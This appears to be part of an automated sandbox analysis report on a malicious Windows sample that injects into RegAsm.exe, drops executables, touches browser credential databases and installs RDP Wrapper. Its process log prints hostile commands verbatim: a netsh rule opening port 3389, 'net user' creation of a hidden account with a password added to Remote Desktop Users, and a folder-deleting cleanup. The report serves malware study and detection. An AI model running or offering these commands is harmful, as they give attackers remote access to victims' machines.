Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203C8520 14_2_203C8520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A0D10 14_2_203A0D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203E7510 14_2_203E7510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203CA590 14_2_203CA590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204185A0 14_2_204185A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2039E5C0 14_2_2039E5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2036E630 14_2_2036E630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203AEE20 14_2_203AEE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20379690 14_2_20379690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203BEE90 14_2_203BEE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20399770 14_2_20399770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20368760 14_2_20368760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203FF790 14_2_203FF790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2043F8D0 14_2_2043F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2045D100 14_2_2045D100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20463920 14_2_20463920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204561E0 14_2_204561E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2043A2C0 14_2_2043A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2044DB30 14_2_2044DB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204533E0 14_2_204533E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20439430 14_2_20439430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20439CC0 14_2_20439CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2045FD50 14_2_2045FD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204616D0 14_2_204616D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204C226A 14_2_204C226A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204C9390 14_2_204C9390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204C9A20 14_2_204C9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204AAEBE 14_2_204AAEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204C9F80 14_2_204C9F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202E4CF0 14_2_202E4CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20307810 14_2_20307810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202E9000 14_2_202E9000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202DF160 14_2_202DF160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202FBAB0 14_2_202FBAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202DEA80 14_2_202DEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20301C50 14_2_20301C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202FA560 14_2_202FA560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202DD57C 14_2_202DD57C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2030CE10 14_2_2030CE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20316E80 14_2_20316E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_202E66C0 14_2_202E66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20465F40 14_2_20465F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20484FB2 14_2_20484FB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2046D7C0 14_2_2046D7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2035D030 14_2_2035D030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203B85C0 14_2_203B85C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2034BE60 14_2_2034BE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A7E90 14_2_203A7E90
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Program Files\RDP Wrapper\rdpwrap.dll 798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
Source: Joe Sandbox View Dropped File: C:\ProgramData\BGDGHJEHJJ.exe 63D86693917598DF88D518C057C7680B5BD2DE9ADD384425F81EAD95EEE18DBA
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C54CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C7409D0 appears 121 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0040CC80 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C5594D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0041D1E0 appears 164 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C74DAE0 appears 31 times
PE / OLE file has an invalid certificate
Source: file.exe Static PE information: invalid certificate
PE file contains executable resources (Code or Archives)
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: RDPWInst.exe.15.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000002.2143026132.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe Binary or memory string: OriginalFilenameVQP.exeD vs file.exe
Spawns drivers
Source: unknown Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: BGDGHJEHJJ.exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: GIJEGDAKEH.exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f5db9e54794_vfkagks[1].exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: BKJKEBGDHD.exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f5de72d9ebd_rdp[1].exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: BKJKEBGDHD.exe.3.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 66f5de72d9ebd_rdp[1].exe.3.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: BKJKEBGDHD.exe.3.dr, UHJvZ3JhbUFB.cs Base64 encoded string: 'uzdNq5N5dVHqj8/XOVMujTe+EWhTqjA49W71kkCSuLx6JawXeM2RcAhzIt+RuRyy/UlnVnNcOHA='
Source: BKJKEBGDHD.exe.3.dr, QXNzZW1ibHlMb2FkZXJB.cs Base64 encoded string: 'ZeT6XRkqE8HZgrZn/7waHKGEjVyd25lJuNP9SMJ0hPuJ3I3/hAJIOxxY+Yg7YHe4CS1O8a8K7Kj294nFj+dJPw=='
Source: BKJKEBGDHD.exe.3.dr, UkRQSW5zdGFsbGVyQUFB.cs Base64 encoded string: 'qR/7ooPYigp2SEKTzwMFJTSbcua/QmnlHwkHQUoZpYIcQdmz4RMvq3F4MOB9y5qujQpsKpIVip/VlPRARAApHA==', 'qR/7ooPYigp2SEKTzwMFJTSbcua/QmnlHwkHQUoZpYIcQdmz4RMvq3F4MOB9y5qujQpsKpIVip/VlPRARAApHA==', '/mYfODFhO3ApNMwMwQq0ZoqP4TNa2z0qj74asBKv69SU0BkSYbtUwg==', 'kS7gwSttfulL5Db27XY7FIc6M8Csq7eS7wsgJu4D6riP/P9KoTF+B9Ax/EGSjo9KyyiSz0LziPdJ1LhHsTj7FHU1KILz/I8k9rh+X8DEQGTSVUX/deSHDXCkKDQbAN+jTWgp4azI1NM='
Source: 66f5de72d9ebd_rdp[1].exe.3.dr, UHJvZ3JhbUFB.cs Base64 encoded string: 'uzdNq5N5dVHqj8/XOVMujTe+EWhTqjA49W71kkCSuLx6JawXeM2RcAhzIt+RuRyy/UlnVnNcOHA='
Source: 66f5de72d9ebd_rdp[1].exe.3.dr, QXNzZW1ibHlMb2FkZXJB.cs Base64 encoded string: 'ZeT6XRkqE8HZgrZn/7waHKGEjVyd25lJuNP9SMJ0hPuJ3I3/hAJIOxxY+Yg7YHe4CS1O8a8K7Kj294nFj+dJPw=='
Source: 66f5de72d9ebd_rdp[1].exe.3.dr, UkRQSW5zdGFsbGVyQUFB.cs Base64 encoded string: 'qR/7ooPYigp2SEKTzwMFJTSbcua/QmnlHwkHQUoZpYIcQdmz4RMvq3F4MOB9y5qujQpsKpIVip/VlPRARAApHA==', 'qR/7ooPYigp2SEKTzwMFJTSbcua/QmnlHwkHQUoZpYIcQdmz4RMvq3F4MOB9y5qujQpsKpIVip/VlPRARAApHA==', '/mYfODFhO3ApNMwMwQq0ZoqP4TNa2z0qj74asBKv69SU0BkSYbtUwg==', 'kS7gwSttfulL5Db27XY7FIc6M8Csq7eS7wsgJu4D6riP/P9KoTF+B9Ax/EGSjo9KyyiSz0LziPdJ1LhHsTj7FHU1KILz/I8k9rh+X8DEQGTSVUX/deSHDXCkKDQbAN+jTWgp4azI1NM='
Source: classification engine Classification label: mal100.spre.troj.spyw.evad.winEXE@67/43@16/14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C577030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 3_2_6C577030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 3_2_004114A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear, 3_2_00411807
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe File created: C:\Program Files\RDP Wrapper
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2976:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3492:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2348:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3632:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2704:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4188:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4816:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\delays.tmp Jump to behavior
Source: Yara match File source: 22.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000000.2818017493.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2857759824.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: file.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: GCGDHJ.3.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: file.exe ReversingLabs: Detection: 42%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BGDGHJEHJJ.exe "C:\ProgramData\BGDGHJEHJJ.exe"
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\GIJEGDAKEH.exe "C:\ProgramData\GIJEGDAKEH.exe"
Source: C:\ProgramData\GIJEGDAKEH.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\GIJEGDAKEH.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BKJKEBGDHD.exe "C:\ProgramData\BKJKEBGDHD.exe"
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net user
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ECBGHCGCBKFI" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
